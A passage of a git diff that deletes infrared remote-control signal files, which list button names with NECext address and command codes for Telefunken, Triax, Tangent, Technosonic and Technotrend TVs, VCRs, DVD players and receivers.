@@ -Filetype: IR signals file -Version: 1 -# -name: DIGIT_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: DIGIT_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: DIGIT_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: DIGIT_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: DIGIT_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: DIGIT_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: DIGIT_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: DIGIT_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: DIGIT_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: DIGIT_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: STD_VALUES -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir deleted file mode 100644 index a99c6f95d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: VTX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: TOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: FORMAT+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: FORMAT- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir deleted file mode 100644 index 7765b4c47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 04 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: MENU/TEXT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: SEARCHFWD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: AUDIO-MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: CURSORLEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSORRIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VPS/CHANNEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 34 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: PROGR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 39 00 00 00 -# -name: TARGET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: D/W/MEMORY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: RINGRIGHTPROG -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 80 00 00 00 -# -name: RINGLEFTPROG -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 84 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 91 00 00 00 -# -name: SETMARKE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 93 00 00 00 -# -name: ERASEMARK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 94 00 00 00 -# -name: SEEK-INTERVAL/-EMPTY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: SEEKMARK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 97 00 00 00 -# -name: JOGTAPE-1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: AF 00 00 00 -# -name: RINGTAPE-6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B1 00 00 00 -# -name: RINGTAPE-5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B2 00 00 00 -# -name: RINGTAPE-4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B3 00 00 00 -# -name: RINGTAPE-3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B4 00 00 00 -# -name: RINGTAPE-2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B5 00 00 00 -# -name: RINGTAPE-1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B6 00 00 00 -# -name: RINGTAPE+1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B9 00 00 00 -# -name: RINGTAPE+2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BA 00 00 00 -# -name: RINGTAPE+3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BB 00 00 00 -# -name: RINGTAPE+4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BC 00 00 00 -# -name: RINGTAPE+5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BD 00 00 00 -# -name: RINGTAPE+6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BE 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: SEARCHBWD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: D5 00 00 00 -# -name: JOGTAPE-3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: D8 00 00 00 -# -name: JOGTAPE-2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: D9 00 00 00 -# -name: JOGTAPE+2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: DA 00 00 00 -# -name: JOGTAPE+3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: DB 00 00 00 -# -name: JOGTAPE+1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: ED 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir deleted file mode 100644 index c62b5f091..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: av/audio -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: Adjust -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: -/Down -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: Status -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: Display/Menu -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 24 00 00 00 -# -name: +/Up -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 27 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 28 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2A 00 00 00 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2D 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2E 00 00 00 -# -name: Erase -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 31 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 37 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir deleted file mode 100644 index 2fb07d819..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: TV/Sat -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir deleted file mode 100644 index 3f5473638..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: wallright -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: wallleft -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: maze -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: awaylight -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: turnright -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: turnleft -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: seeklight -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: foreward -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: forewardright -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir deleted file mode 100644 index 2dce1c88b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 00 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 02 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 03 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 04 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 05 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 06 00 00 00 -# -name: BT -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 07 00 00 00 -# -name: DAB -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 08 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 09 00 00 00 -# -name: OPTICAL -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 0A 00 00 00 -# -name: LINE_IN -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 0B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 0C 00 00 00 -# -name: PLAY_PAUSE -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 0F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 10 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 12 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 13 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 14 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 15 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 16 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 F8 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir deleted file mode 100644 index 3e3f96457..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 01 00 00 00 -# -name: repeat-1-all -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 02 00 00 00 -# -name: repeat-a-b -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 06 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 07 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 09 00 00 00 -# -name: pause-step -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1F 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 41 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 42 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 43 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 44 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 45 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 46 00 00 00 -# -name: rwd -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 47 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 49 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 50 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 58 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 59 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5C 00 00 00 -# -name: tvsys -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir deleted file mode 100644 index ce7e889d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: shutdown -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: button_tab -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: button_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: button_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: button_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: button_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: button_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: button_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: button_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: button_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: button_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: button_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: button_up -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: button_left -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: button_ok -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: button_right -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: button_down -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: button_red -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: button_green -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: button_yellow -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: button_blue -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: button_mute -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: KEY_TEXT -type: parsed 